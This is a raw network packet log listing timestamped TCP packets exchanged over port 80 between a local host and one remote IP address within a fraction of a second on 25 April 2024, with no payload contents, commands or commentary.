Apr 25, 2024 14:42:10.196382046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196386099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196419954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196439028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196456909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196469069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196494102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196506023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196532965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196544886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196568012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.196587086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.196616888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250020027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250122070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250159025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250196934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250232935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250252962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250252962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250252962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250269890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250271082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250281096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250309944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250319958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250349045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250360012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250386953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250400066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250433922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250483990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250540018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250673056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250710964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250727892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250755072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250782013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250821114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250835896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250860929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.250874043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250912905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.250999928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.251038074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.251056910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.251075983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.251080990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.251133919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.251513004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.251569986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.252161026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.252198935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.252235889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.252249002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.252763033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.252818108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.253582001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.253638029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.253873110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.253926992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.254005909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.254060984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.254573107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.254631996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.254731894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.254785061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255002975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255055904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255314112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255351067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255367994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255393028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255399942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255429983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255441904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255469084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255477905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255506992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255518913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255544901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255557060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255578041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255590916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255616903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255624056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255655050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255671024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255692005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255697966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255727053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255742073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255763054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255775928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255800962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255811930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255850077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255856991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255893946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255901098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255932093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255944967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.255970001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.255980968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.256006002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.256021976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.256053925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304244995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304285049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304322958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304357052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304408073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304445982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304483891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304498911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304498911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304498911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304517031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304522038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304522038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304554939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304558992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304594994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304600954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304631948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304647923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304671049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304677010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304709911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304718018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304747105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304749012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304785013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304790020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304821968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304827929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304861069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304867983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304896116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.304907084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304939985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.304970980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.305015087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.305041075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.305085897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.305128098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.305174112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306261063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306312084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306314945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306350946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306364059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306390047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306396961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306423903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306438923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306461096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306468010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306499004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306507111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306554079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306571007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306606054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306617975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306657076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306684971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306731939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306740046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306778908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306787014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306818008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306821108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306854963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306860924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306893110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306900978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306930065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306937933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.306968927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.306974888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307007074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307013988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307044029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307049036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307079077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307090044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307115078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307121038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307153940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307161093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307207108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307228088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307280064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307360888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307403088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307432890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307470083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307487011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307508945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307540894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307574987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307591915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307611942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307617903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307657003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307714939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307750940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307769060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307787895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307796001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307826042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307828903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307864904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307869911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307902098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307913065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307939053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307945967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.307977915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.307985067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308016062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308022022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308049917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308060884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308089018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308101892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308139086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308156967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308193922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308202982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308229923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308240891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308268070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308271885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308305979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308311939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308343887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308350086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308378935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308391094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308420897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308511019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308548927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308556080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308588028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308592081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308625937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308630943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308665037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308670998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308701992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308711052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308738947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308747053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308775902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308785915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308814049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308819056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308852911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308859110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308887959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308898926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308926105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308929920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.308964014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.308970928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.309003115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.309010983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.309036016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.309047937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.309072971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.309079885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.309118986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.309149027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.309185982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.309194088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.309220076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.309231043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.309262991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358606100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358645916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358705997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358740091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358776093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358776093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358776093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358776093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358814955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358814955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358830929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358854055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358865976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358887911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358916044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358928919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358928919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.358969927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.358975887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.359011889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.359011889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.359056950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.359210014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.359262943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.359342098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.359396935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.359400034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.359445095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360095978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360167027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360179901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360213995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360239029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360276937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360291004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360312939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360332012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360357046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360363960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360397100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360411882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360435009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360445023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360474110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360485077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360512018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360522985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360559940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360584021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360621929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360635042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360661030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360668898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360713005 CEST	49731	80	192.168.2.4	185.172.128.76
